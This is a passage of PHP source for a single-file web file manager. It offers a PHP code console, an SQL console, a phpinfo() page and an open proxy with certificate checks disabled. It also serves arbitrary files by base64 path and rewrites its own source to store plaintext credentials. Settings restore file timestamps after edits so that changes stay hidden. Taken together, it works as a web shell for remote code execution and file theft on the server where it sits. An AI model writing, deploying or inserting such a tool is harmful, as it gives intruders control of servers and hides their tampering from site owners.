		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
